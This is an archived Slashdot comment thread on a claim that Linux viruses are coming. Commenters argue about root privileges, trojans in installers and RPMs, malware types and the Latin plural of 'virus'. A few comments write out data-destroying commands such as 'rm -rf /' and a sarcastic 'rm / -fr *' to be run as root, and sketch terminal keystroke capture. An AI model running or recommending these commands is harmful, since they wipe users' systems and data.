Slashdot Mirror


Linux Virii On Their Way?

Eric the Cat wrote to us with one of the most amusing articles for the day. A Russian Security Consultancy has claimed that a plague of virii for Linux will be coming, thanks to Chinese hackers. Wait - it gets better. According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems. Thankfully, Jason Clifford, a Linux person, is also quoted in the article setting the story a bit straighter.

436 comments

  1. root? by Bad_CRC · · Score: 1
    I was told that if you aren't running as root, you are fairly safe.

    course I'm still a newbie, so they coulda been lying to me.

    1. Re:root? by Bad_CRC · · Score: 1
      Anyway, we won't be really vulnerable till Microsoft ports it's office suite with Outlook and all the VBA goodies which make up the VBA virii toolkit a majority of new virii are based upon these days.

    2. Re:root? by Anonymous Coward · · Score: 0

      actually virus is a latin derived noun of the second declension making the proper plural viri, as in radii.

    3. Re:root? by Anonymous Coward · · Score: 0

      Show me one single classical reference that places virus in the 2nd declension. Please. It wasn't, it was a 4th declension neuter. Even if it were a 2nd decl noun, it was still neuter, so wasn't allowed the masculine -i. And don't confuse -ius 2nd decl mascs with -us ones. They're not always exactly the same. Consider the vocative.

    4. Re:root? by FigBug · · Score: 1

      virus (vrs)
      n., pl. viruses.


      Any of various simple submicroscopic parasites of plants, animals, and bacteria that often cause disease and that consist essentially of a core of RNA or DNA surrounded by a protein coat. Unable to replicate without a host cell, viruses are typically not considered living organisms.
      A disease caused by a virus.
      Something that poisons one's soul or mind: the pernicious virus of racism.
      Computer Science. A computer virus.

    5. Re:root? by Anonymous Coward · · Score: 0

      I don't know much about viruses, but here's one concern I had. To install RPM's you have to be root, and so what if there was one that after you rpm'ed it, it sent off some emails with it attached (how, I don't know, but it seems possible) and then finished up with a "rm -rf /". Or for something else, maybe a trojan that comes with an regular RPM, so the average user wouldn't know it was there.

    6. Re:root? by Anonymous Coward · · Score: 1
      I was told that if you aren't running as root, you are fairly safe.

      Yes .. fairly. Now as a matter of fact safe systems were the ones were the development platform with which things started.

      Aside from that root might not be the most interesting account to attack. Lets say the customers database or your thesis has just gone down the gutter, then you are going to have a problem.

      In short, make and keep your backups, do not collect software like other people stamps but should you own any McAfee shares sell them in time anyway ;)

      Open Source and the possibility for someone to find the little bugger is not of much help once the damage is done and with the more widespread use of office packages expect the one or the other macro virus too.

    7. Re:root? by tialaramex · · Score: 1

      Well, you don't HAVE to be root, but in a default setup you would be hard pressed to do it any other way...

      The answer is (and you may not like it) install only trusted packages. You should not install untrustworthy software for the same reason you shouldn't run it (especially as root), avoid even LOOKING at potentially hostile binaries.

      If you want FULL PARANOIA ON, use OpenBSD instead and don't change any of its security settings (e.g. no /proc, no unnecessary binaries, few if any setuid binaries) and you'll have a fine server, though not exactly a fun desktop machine.

      Assuming that you're determined to run Linux, or you're not *really* that paranoid, you should be insisting on GnuPG signed RPMs. Use a trusted source of GnuPG source or binaries, get the Red Hat et al. vendor signatures confirmed over the telephone. Then your trust extends only to a few known vendors.

      BTW You should do all this FIRST, starting today is too late if your kernel already has a cloaked virus module in it, especially if it has infiltrated the boot disks and backup media you are using. We are in a better position to defend against threats than most proprietary OS users, but that is NO REASON to be caught unawares.

      Nick.

    8. Re:root? by Anonymous Coward · · Score: 0

      what are you talking about? :P

    9. Re:root? by Anonymous Coward · · Score: 0

      Now write it out a hundred times. If it's not done by morning I'll cut your balls off.

    10. Re:root? by [chi2] · · Score: 1
      virus (vrs)
      n., pl. viruses

      I think we had this discussion before... In english its perfectly right to use viruses as plural, but in latin the plural would be vira, just take a look at Perseus.

      --
      "oh my god, they killed kenny!"
    11. Re:root? by Anonymous Coward · · Score: 0

      No, Perseus says it was indeclinable. Other sources put it in the 4th declension.

  2. DUH... by gavinhall · · Score: 1

    Posted by NJViking:

    Programs run in user space not kernel space so they can't fsck with your resources.

    The virus would have to find a way to get root access.

    I can see how something like kernel NFS or the new kernel web server could possibly be exploited to do this, which is why I won't run them.

    NJV

    1. Re:DUH... by dirty · · Score: 1

      Could you please explain how exactly a mechanism designed to export files could lead to you getting a mean old virus on your computer? khttpd can do nothing more than serve static files, could pose a greater problem, but it's no more dangerous than nfsd. Just because something is in the kernel doesn't make it automatically insecure. Think about it, all of the security mechanisms on your linux system eventually trace back to the kernel.

      Please, before you post comments like this think about them first. There's nothing wrong with being cautious, but there is no need for paranoia.

      --

      -matt
    2. Re:DUH... by um...+Lucas · · Score: 1

      Couldn't a program spawn a thread (or maybe child) that watches your keystrokes and when you SUed to root, take note?

      From that point forth it could run in a separate terminal and "kill itself" whenever you inquired as to what processes were running.

      Doesn't seem that hard in theory. Or am I missing something?

    3. Re:DUH... by Anonymous Coward · · Score: 0

      uuh..no. to monitor keystrokes you need to patch isatty(3) calls and in order to do that you have to be root. and if youre root..well..you dont need the root password anyway. so, no uid 0 access for the program, no monitoring of keystrokes.

    4. Re:DUH... by dirty · · Score: 1

      Yes and no. A key grabber as they exist in the dos world would not work because no user program can get physical access to the keyboard. What would work however, would be for a program to open the terminal you are logged into and start recording what you type. I just verified that this can indeed work.

      --

      -matt
    5. Re:DUH... by Cramer · · Score: 1

      Gez, they'll remove rarp saying "it's really a userland thing." But they'll wire nfsd and httpd into the kernel...

      Yes, there are some significant gains from putting the nfs server in the kernel -- closer access to the files and networking plus access to the buffer cache. However, it introduces one hell of a security problem. Buffer overflows in userland typically kill the application -- or if crafted can run other stuff. But a buffer overflow in the kernel can do nine kinds of hell -- and a crafted overflow could erase the motherboard BIOS.

      (I'm certain someone will say the BIOS could be killed from userland overflows as well, but not without alot more work.)

    6. Re:DUH... by Cramer · · Score: 1

      Placing it in the kernel doesn't automatically make it secure either. This isn't windows 95; serious thought and care needs to be used in placing code in the kernel. Alot of stuff wired into the kernel doesn't belong there -- we aren't reinventing a NetApp here.

      You can "kill" proceses; you cannot "kill" part of the kernel.

    7. Re:DUH... by Abigail-II · · Score: 2
      The virus would have to find a way to get root access.

      No, all you need to do is trick the user in running something as root. For instance, offering him some nice looking software, and infect the system during "make install". You might even wrap it in a PGP signed RPM, with available fingerprints, and do the same trick when the RPM is installed.

      -- Abigail

  3. hype by BadERA · · Score: 0

    hype hype hype Linux hype hype hype yup, same as always what happened to stuff that matters?

    --
    I am, therefore you think.
  4. Just what we need by Anonymous Coward · · Score: 1

    Does this mean we will all have to go out and buy Norton Antivirus for Linux now? I sure hope not.

    1. Re:Just what we need by pen · · Score: 1
      Well, some virus suits are already available for Linux, but they're more about protecting the Windows users before the files get to their boxes. Here are a few:

      --

    2. Re:Just what we need by zsazsa · · Score: 2

      No, it means that we will all have to go out and buy Kaspersky Lab's Linux antivirus software (http://www.Kasperskylab.ru/eng/p roducts/linux.html)!
      How convenient! This reminds me of the story about Novell's CEO a few months back. He claimed that his CC number was stolen on the internet, and what do you know, the best way to keep this from happening just happens to involve Novell software.

      Ian "zsazsa" Scott

  5. Huh? by pen · · Score: 0
    Since when does Slashdot support k1ddie-speak? FYI, it's viruses, not virii, as the w4r3z kiddies will have you believe.

    Have a look for yourself: http://www.dictionary.com/cgi- bin/dict.pl?term=virus

    Excerpt: "Unable to replicate without a host cell, viruses are typically not considered living organisms."

    --

    1. Re:Huh? by Anonymous Coward · · Score: 1

      Any Latin word with a -us ending is properly pluralized by appending -ii. It's been that way for the past two and a half thousand years, dictionary.com notwithstanding. Speaking of verbal history, I really wish the OED would go ahead and get themselves online. It's irritating to have to deal with all these half-assed little dictionary sites like dictionary....

    2. Re:Huh? by Battra · · Score: 3

      Well, no, it was never that way.

      You are probably thinking of second declension masculine masculine Latin nounds (there are lots of them). The nominative singular ending for these nouns is -us. The nominative plural is -i (note just one i, not two (or i not ii in Roman numerals)).

      There are other declensions that use -us in the nominative singular and something different in the plural. For example, third declension nouns of any gender may end in -us in the nominative singular, while the nominative plural ending for masculine nouns is -es.

      I realize that I may be one of the only Slashdot geeks to have majored in Classical Languages instead of Computer Science, and no pedantry was intended in this post.

    3. Re:Huh? by dsl · · Score: 1
      I realize that I may be one of the only Slashdot geeks to have majored in Classical Languages instead of Computer Science, and no pedantry was intended in this post.

      Oh, but let's be honest with ourselves, shall we? Once we moved on to a world where we read Slashdot, pedantry's about the only use we're going to get out of the major, isn't it?

      My specialization was in Greek rather than Latin, so I'm going to stay out of the battle at hand as much as possible. But I was under the impression that virus was 4th declension, making the nominative plural virus; I think viruses sounds better for the plural if we're speaking English, though. Certainly virii would have to be wrong; even if we were dealing with the 2nd declension, the plural would, foolishly assuming regularity, be viri.

      --
      I refuse, on principle, to have a .sig.
    4. Re:Huh? by PrismaticBooger · · Score: 1

      You idiot. The masculine declension in Latin is pluralized with -i, not -ii. Correct plurals for "virus" are either "viruses" (Anglicized) or "viri" (Latin). "virii" is never correct.

    5. Re:Huh? by Anonymous Coward · · Score: 0
      The masculine declension in Latin is pluralized with -i, not -ii.
      What's a `masculine declension'? You mean masculines in the second declension? Yes, that's true. They went from -us to -i. However, this is irrelevant. "virus" wasn't a masculine -- it was a neuter. Neuters of the 2nd declension never declined like masculines. And historical documents indicate it was in the 4th not the 2nd declension, which changes the rules again.
  6. China? by shitface · · Score: 0

    I would look to some people in Washington before I even thought of the world's largest Linux development team (red linux).

    Well seriously now, is it so crazy to suggest that a competing OS would encourage the engineering a virus to weaken their compeiters creditablity?

    --
    Real men dump cores! Read my journal, I am neat.
  7. Virus or Trojan ? by redelm · · Score: 3

    Of course viruses exist for Linux. Except they're called Trojans, and there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

    Viruses/trojans are much less of a problim in *nix simply because most running should be done from unpriviliged users accounts. That greatly confines the damage possible. Unfortunately, MS has yet to understand this concept.

    -- Robert

    1. Re:Virus or Trojan ? by Stonehand · · Score: 1

      As long as the packages are verifiable through, say, some cryptographic signature that confirms that it DID come from a trusted source w/o tampering...

      --
      Only the dead have seen the end of war.
    2. Re:Virus or Trojan ? by um...+Lucas · · Score: 2

      there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

      That's all fine and dandy for source packages that are just a couple hundred K, but for instance, when I download a new kernel, I simply assume that Linus trusted everyone whose contributions he included. There's no way I want to visually scan 17 Megs of source to make sure there's nothing fishy.

      That, plus the fact that a LOT of apps I use are shrink-wrapped. Not many Apps for Linux are without sourcet, but it sounds like it's going to change.

      Then what?

    3. Re:Virus or Trojan ? by Anonymous Coward · · Score: 0

      uuh. no. all packages are signed by default..on redhat the rpms are md5 hashed and signed. rpm will complain if a package isnt signed properly...but you should check anyway.

    4. Re:Virus or Trojan ? by Anonymous Coward · · Score: 0

      install em with usermode privs idiot.

    5. Re:Virus or Trojan ? by javatips · · Score: 1

      Unfortunatly, most of today viruses do not exploit operating systems. They exploit applications.

      A macro virus can be written to exploit a particular application. Like a mail client.

      The biggest problem with viruses, is not that they infect your system. It's that they destroy/corrupt data or consume systems ressources (like bandwidth). Whenever your run as root or not, your system could be affected.

      Virus are here, for now they attack the most visible software. As linux grows in popularity and get more visibility accross all kind of users, Virus that target specific Linux application will emerge and spread.

      Being blinded by the fact that Linux has a better security model than NT or 98 and that source code solve everything will just make you more vulnerable to this threat.

    6. Re:Virus or Trojan ? by redelm · · Score: 1

      Of course scanning the entire kernel is unlikely.

      But I rather think a trojan/virus maker is unlikely to leave his source lying around.
      It is too easily traced. So you're probably
      quite safe compile unscanned source.

      -- Robert

    7. Re:Virus or Trojan ? by Mr.+Slippery · · Score: 3
      Of course viruses exist for Linux. Except they're called Trojans
      Viruses and Trojan Horse programs are different things. While the Mainstream Media(tm) persists in calling all malicious software "viruses", there are actually several different varieties:
      • Trojan Horse: named, of course, for the classic crack of the city of Troy by the Greeks. A Trojan Horse program is advertized to be something benign, but actually has it in for you. The user has to run a Trojan Horse for it to be able to attack. Many macro "viruses" fall into this category. Trojans are hard to hide in open source software, and if they are run by an ordinary user they are limited in the damage they can do.
      • Worm: a worm crawls from machine to machine across a network without user intervention. They often take advantage of bugs in network servers to spread - and since these servers often have root access, they can be more damaging than Trojans. Sometimes they leave a copy of themselves behind, sometimes not. The famous Internet worm is the best example. There is at least one worm that infects Linux machines (I was hit by it a year or two back on a loosely administered box; didn't seem to affect anything other than put a "w0rm" entry in my /etc/passwd.)
      • Virus: a virus infects specific executable files and reproduces to infect other files. (Macros make word processor documents into executable files, thus allowing macro viruses to exist. Emacs had the same problem with file variables, but the dangerous behavior is now off by default.) Unlike a worm or a trojan, the virus is (generally) a code fragment, not a complete program in and of itself - just as a DNA or RNA virus is a fragment of genetic material, not a complete living genome.
      There are a few other types, but these are the main ways that malware can get into your system. To complicate life, some malware exhibits behavior from more than one of these categories.
      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    8. Re:Virus or Trojan ? by Anonymous Coward · · Score: 0

      The LILO boot sector virus gets installed through a trojan called Linux.

    9. Re:Virus or Trojan ? by smurfi · · Score: 1
      There's no way I want to visually scan 17 Megs of source to make sure there's nothing fishy.

      Enough people habitually do exactly that. Maybe not the whole kernel source, but the patches.

      It's also a matter of attitude. IMHO, the average person skillful enough to spot a security problem in the Linux kernel will report it to somebody who can fix it (if they don't do it themselves).

      The average person who spots a new problem in Windo*s, on the other hand, will probably write an exploit for it.

  8. Can we say.... by Anonymous Coward · · Score: 0

    a lame attempt at FUD? :) The 'threat' to Linux by virii is too small to be very concerned about - unless you're stupid enough to run one as root without checking it first :) -- F.P.

    1. Re:Can we say.... by Bogus+Nick · · Score: 1

      Burying your head in the sand and covering your ears won't make the problem go away. Today there are few to no virus for Linux, but there's no reason that situation isn't going to change. Most 'virus' are actually Trojans anyway, as Linux becomes more popular there will be more problems. So what you have to be logged in as Root for a Trojan to do much damage, do you think all the newbies who try Linux aren't going to be running as Root?

    2. Re:Can we say.... by JordanH · · Score: 1
      • So what you have to be logged in as Root for a Trojan to do much damage, do you think all the newbies who try Linux aren't going to be running as Root?

      You misunderstand how infection spreads. A few newbies running as root as they install unknown software from the net will infect only those few newbies at which time the source will be easily discovered, made publicly known and eradicated.

      In the Windows world, viruses spread so quickly because nearly everyone is running with elevated privs such that they can quickly infect their own computer and spread it to others so quickly that it spreads like wildfire and is difficult to track to the source.

      The penalties for spreading viruses being severe, and the relative ease with which sources can be backtracked in an environment without rapid contagion insures that viruses will be rather less of a problem in the Linux world as compared with the Windows world.

      Note that there are a few Linux viruses already in existence and they have not spread quickly at all.


      -Jordan Henderson

    3. Re:Can we say.... by powerlord · · Score: 1

      Of course this is assuming that the virus has an imediate result that someone notices. A virus that quietly replicate (we can argue over what is quiet replication) and propogate itself might be able to infect more systems before it 'triggers' (akin to those viruses targeted to go off on a particular date).

      I still agree with you that the virus might be well contained compaired to an equivalent MS-DOS/WinXX virus, but that doesn't mean it couldn't affect a lot of people.


      Colleen:Its a black-hole.
      Hunter:Is that a good thing?
      C:It is if you want to be compressed into oblivion.
      H:Oh.. coooool.

      --
      This space for rent. All reasonable inquiries will be entertained at proprietors discretion.
    4. Re:Can we say.... by Anonymous Coward · · Score: 0

      It's also worth noting that the only things that are of irreplacable value on many Linux systems are what is most vulnerable: the user data. If User JoeBlow has his entire home directory blown away by a trojan, and the only data that didn't come off the Red Hat CDROM was in his home directory, it is really bad. And on almost any Linux system I have seen, the user's home directory is entirely owned by that user, and hence entirely vulnerable.

  9. Security Philosophy is Paramount by SEWilco · · Score: 3
    It's not just the administration. The philosophy behind Unix security is that only the O.S. has access to certain things, and ordinary users are limited to what the O.S. allows them to access. The philosophy is that a non-system program can only affect itself, and the user's files.

    Any Unix virus will be limited to what one user can do. Any security bug can be fixed without breaking user programs.

    The MS-DOS virus industry has been proliferating due to MS-DOS requiring user access to system hardware for decades.

    1. Re:Security Philosophy is Paramount by falser · · Score: 1
      Unfortunately there is a new breed of Linux newbies that insist on always being root because "it's easier to install s**t that way".

      "I can only show you Linux... you're the one who has to read the man pages."

    2. Re:Security Philosophy is Paramount by um...+Lucas · · Score: 2

      Any Unix virus will be limited to what one user can do. Any security bug can be fixed without breaking user programs.

      Have you heard that people are considering Linux to be almost ready to replace Windows on the desktop? Well, one user on a single user system can easily hose all of his files, so that theory doesn't really hold.

    3. Re:Security Philosophy is Paramount by Bad+Mojo · · Score: 1

      "And those who runneth as root shall find no place to hide. They will be as a beacon unto the IRC, nay the entire internet. And many shall come and hurt them, detroying what was good and making waste of the boxen they watcheth over."

      Thus sayeth ME.

      Bad Mojo

      --
      Bad Mojo
      "If you can't win by reason, go for volume." -- Calvin
    4. Re:Security Philosophy is Paramount by sammy+baby · · Score: 2

      Ahem. "Replace Windows on the desktop," is not even close to "Give everyone root on their own little server," at least not in a corporate environment. Even if most users were given full blown Linux boxen instead of X-Terminals (the more likely choice), it's highly unlikely that they'd all have root access on their own machines. Furthermore, Joe Blow user isn't going to be compiling his own programs anyway, and since we don't see a lot of macro viruses for Linux...

      Of course, if you always boot a system to single-user mode, or if you always log in as root, yes, you can do some serious damage. But anyone who has spent time in QA will tell you that "idiotproof" really means "not yet subjected to critical levels of stupidity."

    5. Re:Security Philosophy is Paramount by gmhowell · · Score: 1

      It took me around a year to learn to not run as root. Why? Lazy. Installing new stuff. I didn't know how to add another user (all of the books sorta glossed over this point. Before I found O'Reilly and some better sources).

      It was somewhat understandable. But with the new distros that want you to create a non-root account upon installation, it is less understandable. Perhaps they need to add a function that if the user enters 'root' at the first logon, they are asked to confirm this, reiterate that it could be dangerous, etc.

      Perhaps in the various compilation instructions, there should be info saying "before typing 'su -c 'make install'' type ./foo in order to test foo as a non-root user". Or, instead of having to do "rpm -Uvh foo.rpm" as root, have rpm wired so that it automatically runs as "su -c 'rpm -Uvh foo.rpm'" even if you just type in the first part. Or provide an option to 'rpm -Uvh' as either a user or as root. Hmm... I don't know anything about writing shell scripts, but I could probably figure this out by tomorrow:

      Move the rpm binary to rpmcommand.
      Make a shell script (entitled rpm) that checks the arguments. If one of them is U or I, then rewrite the whole command entered as 'su -c ....' and pass it to the shell.
      Set permissions so that it WON'T run as root. (The script, not the binary).
      If I or U (or any of the switches that require root access) is not passed, then just pass the arguments to rpmcommand.

      Okay, somebody who knows what they are doing type it up in a nice script. This outline is, of course, GPL:)

      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
    6. Re:Security Philosophy is Paramount by um...+Lucas · · Score: 2

      You misinterpretted what I said.

      What i said was:

      If a user has privledges to open and modify their own files, then a virus running in their user mode would have the ability to open, change and delete them as well.

      Yeah, the system will stay up, but it as it is, it does nothing for protecting the users' own files. Something needs to happen to prevent an errant program from destoying all the files it's allowed to touch. But how would a utility discern between a bash script being run by the user or a script being launched be an application?

    7. Re:Security Philosophy is Paramount by Anonymous Coward · · Score: 0

      Well, one user on a single user system can easily hose all of his files, so that theory doesn't really hold.

      No this shouldn't happen. You would only kill your files in your home dir.

      Yeah, the system will stay up, but it as it is, it does nothing for protecting the users' own files.

      Yes THIS WOULD PROTECT THE SYSTEM ! !

    8. Re:Security Philosophy is Paramount by spodpit · · Score: 1

      Someone moderate this guy up ...

      What he's suggesting isn't perfect, but it's pretty damn close!

    9. Re:Security Philosophy is Paramount by um...+Lucas · · Score: 1

      Isn't your home directory the directory where you store your personal data?

      I don't know about you, but I'd much rather have to reinstall Linux than recreate all my work files.

      It either seems that no one is seeing my point, or that they simply don't care about newbies and their files. Face it. One shell script will hose someone completely, but no one hear will even acknowledge that that could be considered a virus and that there should be some way to guard against this.

      IF Linux stays as a server and workstation OS, that's all fine and dandy. But everyone here talks about how Linux will take over the world... Not right now it won't... Or if it did, millions of people would suffer. :P

    10. Re:Security Philosophy is Paramount by Abigail-II · · Score: 2
      It was somewhat understandable. But with the new distros that want you to create a non-root account upon installation, it is less understandable. Perhaps they need to add a function that if the user enters 'root' at the first logon, they are asked to confirm this, reiterate that it could be dangerous, etc.

      I beg to differ. That would be just too damn annoying for people who do know what they are doing. And for people who don't, well, though luck. People with no Unix experience shouldn't admin a Unix box - let alone install a Unix system. Either get experience as a user, or just run Windows. That's why M$ exists.

      -- Abigail

    11. Re:Security Philosophy is Paramount by gmhowell · · Score: 1

      Whine, whine, whine! Corel and RedHat are making it too easy for feebs to run Linux. It's not fair, I'm not cool enough anymore.

      Get over it. For years, I told DOSheads to run the Mac if they wanted something easier to use. They didn't. They improved what they had. Corel (amongst others) has decided that they are targeting the new user. In order to do that, some people are going to get peeved. It's those who know what's going on. If you don't like it because when you install a distro with some 'prevent-the-newbie-from-hurting-themselves' features it slows you down, pick Slack. Or roll your own.

      Unfortunately, not all of us were as cool as you, and we didn't take to Linux like a fish to water. It took a good bit of time. If you go back an reread my scheme, you'll see that it is entirely possible for a l33t user such as yourself to remove this 'idiot protection'. Watch:

      rm /usr/bin/rpm
      chmod xxxx (set your own) /usr/bin/rpmcommand
      mv /usr/bin/rpmcommand /usr/bin/rpm


      Now, this, of course, ignores the fact that if you were as kewl as you think you are, you wouldn't be USING RPM's ANYWAY!

      Another point:

      I'm a newbie. I want to learn Linux, but because of the great wisdom of Abigail, I shouldn't install it, I should get experience as a user. Where do we start with the errors of this thinking. Fine, I buy a box from VA. Don't have to install. But I want to use Gnumeric (for example only), and it's not on my machine. How do I install it? All of the instructions say to change to root, and type 'make install' at the end, but Abigail said I should only be a user.

      Oh, I know!!! You are going to be the admin for every Joe Schmo in the world who wants to run Linux and see what the hype is about. Sounds fair to me.

      Oh, you don't want to do that? Then you are writing the Don't-Hose-Your-System-Newbie-HOWTO?

      Hmm, guess not. You just want to bitch.

      Anything that gives more Linux users is a good thing. The more users, the more programs, and the less I have to keep this near useless Win95 partition on my drive.

      Yeah, sooner or later, it's probably important for owners of Linux machines to learn the how's and why's (specifically, why you don't logon as 'root'). Most of us who are using it (to some degree) are the early adopters. We are more technically savvy. Next comes the big part of the distribution curve. And guess what? Those people aren't as savvy. Who does it hurt to help them safely along the newbie path? Not Corel. Not RedHat. Not most of the distro packagers. No, it seems it only hurts your ego.

      Geez, next thing you know, you'll be claiming that only those who know the secret handshake should get a copy of the source. Get a grip you snob.

      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
    12. Re:Security Philosophy is Paramount by Abigail-II · · Score: 2
      Now, this, of course, ignores the fact that if you were as kewl as you think you are, you wouldn't be USING RPM's ANYWAY!

      Well, duh, I don't.

      I want to learn Linux, but because of the great wisdom of Abigail, I shouldn't install it, I should get experience as a user.

      I dunno. Do you think the best way to learn how to fly is to buy a plane and just take off? Or would you start with making yourself more familiar with flying planes under the supervision of someone who knows how to fly?

      -- Abigail

    13. Re:Security Philosophy is Paramount by gmhowell · · Score: 1
      I dunno. Do you think the best way to learn how to fly is to buy a plane and just take off? Or would you start with making yourself more familiar with flying planes under the supervision of someone who knows how to fly?


      Hmm... Screwing up while learning to fly kills me, the ground crew, maybe the people in the community I crash into.

      Screwing up while learning Linux gives lots of hackers access to all the porn on my hard drive and the recipes for my mother's 'experimental' cooking.

      Do I need to spell it out?
      --
      Jesus was all right but his disciples were thick and ordinary. -John Lennon
    14. Re:Security Philosophy is Paramount by BJH · · Score: 1


      There are patches available that will take files deleted (deletion in Unix/Linux is actually only removing the last hard link) by users and shift them into a directory that they cannot access otherwise. This directory can then be cleaned otu at convenient intervals.
      This way, any clueless newbie who figures out how to type "rm -fr *" can just ask root to give them their files back.

    15. Re:Security Philosophy is Paramount by Abigail-II · · Score: 2
      Screwing up while learning Linux gives lots of hackers access to all the porn on my hard drive and the recipes for my mother's 'experimental' cooking.

      Screwing up gives Linux and Unix a bad name, people not knowing what they do flood IRC and Usenet channels with noise, and they give script kiddies many opportunities.

      -- Abigail

  10. why only from russia ? by Anonymous Coward · · Score: 1

    Why are these virii only going to come from russia ? .. I mean.. they're are tons of "hackers" in other countries too.. I like Kaspersky Labs Anti Virus software for win32.. but I never expected them to make such a stupid comment.. sure as more and more people use linux, the chances of more people writin virii for it increases.. (more people with a lot of free time).. but like jason clifford said.. I can't make a virus run rampant through my system, unless I execute the code as root.. I still don't understand why they would only come from china? Melissa came from New Jersey.. but all these new bad virii are going to come from China ? is this China's way of declaring war against the rest of the world ?

    1. Re:why only from russia ? by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriiiiii.

  11. linux virii on the loose!!! by henninrp420 · · Score: 1

    uhm - this article claims that linux is particularly succeptible because the binaries are simple and easy to understand, therefore making them easier to modify... unless we've gotten into the habit of running precompiled binaries as root without looking at the source first, i still don't think we have anything to worry about. the major threat here sounds like the ~/bin directory or something similar - unless you like leaving your /bin /usr/... and /usr/local/... world-writable!

    --
    -rich henning -linux 2.2.x
  12. Looks like an antivirus company for 15m of fame by mjuarez · · Score: 2

    Even though there are ways that a Linux system can be compromised, it is usually through the root user installing malicious code himself. Aside from that, there is no other way a Linux user can infect his whole system by compiling an unknown program.

    Maybe these russians just thought they could shake up the media a bit if they did that... and
    get a fair share of the market, in case a "Antivirus for Linux" ever exists...

    1. Re:Looks like an antivirus company for 15m of fame by Anonymous Coward · · Score: 0

      I'll give you a hint.


      Cha---ching!
      Cha-cha---ching!

      These Russians have been watching too much American TV. They think they could make some money by causing a scare. I bet they have AV software for linux.

    2. Re:Looks like an antivirus company for 15m of fame by Phexro · · Score: 1

      McAfee (bought by Network Associates) does make ViruScan for Linux. It recognises the (few) Linux virii found in the wild (adw0rm et al) and lots of DOS/Win virii. It's primary purpose it for scanning email etc on a Linux box serving Windows clients.

      It's also good for scanning suspect DOS/Win drives, as you can be assured that if the drive is infected, the virus will not spread as you are trying to squash it.

  13. Bliss? by ~spot · · Score: 2

    Besides being the name of a great Tori Amos single, this virus was discovered way back in 1997 and sparked a large amount of discussion amongst the virii community as to the feasibility and likelyhood of linux virii. Also, several Bliss-like virii later appeared, prompting most major anti-virus companies to release *nix versions of their AV toolkits.
    My question is, why is slashdot reporting news that has been known for over 2 years?

    --
    "and no, im not the spot working for Transmeta, although i wish i was..." -- ~spot "i'm the epitome of public enemy..."
    1. Re:Bliss? by Anonymous Coward · · Score: 0
      My question is, why is slashdot reporting news that has been known for over 2 years?

      Habit, I guess... :)

    2. Re:Bliss? by Anonymous Coward · · Score: 0

      bliss died not when the AV compnies release AV tools but when the kernel bug it exploited was patched.

    3. Re:Bliss? by Anonymous Coward · · Score: 0

      Bliss did not exploit any bugs at all.

    4. Re:Bliss? by Anonymous Coward · · Score: 0
      Besides being the name of a great Tori Amos single,

      It was named after a cat.

    5. Re:Bliss? by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriiiiiii.

    6. Re:Bliss? by ~spot · · Score: 1

      virii. you know what? when you can say you have been a member of the virus community since the late 80s, i think you have earned the right to call more than one virus anything you damn well please. and i call them virii, because every one who knew a damned thing about virii, called them virii. and they weren't script kids. besides, what was your SAT Verbal? I'd wager mine was higher.

      but the llamas will argue semantics eternally while the rest of us are productive.

      --
      "and no, im not the spot working for Transmeta, although i wish i was..." -- ~spot "i'm the epitome of public enemy..."
    7. Re:Bliss? by Anonymous Coward · · Score: 0

      So you're an illiterate. Fine. We knew that.

    8. Re:Bliss? by Anonymous Coward · · Score: 0

      What the fuck are you doing using Latin words when you don't know Latin? No wonder you fuck it up. Stick to English, script kiddie.

  14. The problem is here by B.Operator · · Score: 0

    i know zdnet...(FUD)

    but there is really a problem.

    you know the scenario:

    ./configure
    make
    su
    make install //and here comes the problem
    with faked libs and binaries, suid'd root and you could run into trouble.

    i see a problem here

    1. Re:The problem is here by Ozwald · · Score: 1

      or:

      su
      rpm -i aprogram.rpm

      It comes down to "do you trust the source/developer/ftp server?". Fortunately all (that I have seen) Linux developers are trust worthy. Either they do not have the evil tendancies that Windows developers do or the fact that available source code gives downloaders an ass to kick if something is malicious.

      Ozwald

    2. Re:The problem is here by Anonymous Coward · · Score: 0

      (damn, forgot my password...)
      anyway, here's the answer:
      mkdir ~/bin
      mkdir ~/lib
      cd ~/src/foobar-1.23
      ./configure --prefix=/home/user1
      make && make install

      you don't have to become root to install a program...
      Jonas (aka jojo80)

    3. Re:The problem is here by Anonymous Coward · · Score: 0

      oops...forgot something:
      export PATH=$PATH:~/bin
      Jonas

    4. Re:The problem is here by B.Operator · · Score: 1

      yes, you're right.
      but what about installing software for more than one user?

      there should really be more support for md5 checksums or gpg signs.

      bye

    5. Re:The problem is here by Anonymous Coward · · Score: 0

      still haven't found my password...
      well, you probably could set up a directory for users software, like e.g. /usr/local/public, give the ownership to root.somegroup, chmod 770 and add all users, that are allowed to compile and install software to "somegroup". Dunno how feasible that would be, though. Just an idea :)
      Jonas

  15. This will be somewhat of a problem in the future by funkman · · Score: 2
    Virus's can still be written that destroy anything belonging to the currently logged in user. Also a strategy can be written for that virus to place itself strategically so it may eventually be run by someone with more privledges, and so on.

    Of course, this all comes down to system configuration. If the system is properly configured, then viruses would be no problem. But who has the time, or the patience? The average user does not. And it is the average user who falls victim to viruses.

  16. Linux Anti-Virus by aridhol · · Score: 1
    Simple, 6-step anti-virus solution:
    1. cd /usr/src/linux
    2. make config
    3. make bzImage
    4. cp /usr/src/linux/arch/i386/boot/bzImage /vmlinuz
    5. lilo
    6. reboot
    --
    I can't say that I don't give a fuck. I've just run out of fuck to give.
    1. Re:Linux Anti-Virus by bluGill · · Score: 2

      Didn't you See the c compiler that built a trojan verson of login, and had the sense to compile it's trojan version of login into all c compilers it compiled even thoguh the source didn't have it? Was a /. artical not too long ago.

    2. Re:Linux Anti-Virus by leroybrown · · Score: 1

      okay, what retard is going to download kernel sources from ANYWHERE but kernel.org, redhat.com, or a known reputable source? and anything that gets added to the kernel gets checked by torvalds, cox, and a lot of other people. anyone that downloads kernel source from ftp.virusfactory.ch (or whatever the chinese top-level domain is) should do the world a favor and issue "rm / -fr *" as root.

      --
      Founder, Americans Allied Against Alliteration
    3. Re:Linux Anti-Virus by Anonymous Coward · · Score: 0

      Cool! So all I have to do to infect your system is get my code somewhere in /usr/src/linux and you'll install it deeply into the kernel for me! Thanks!

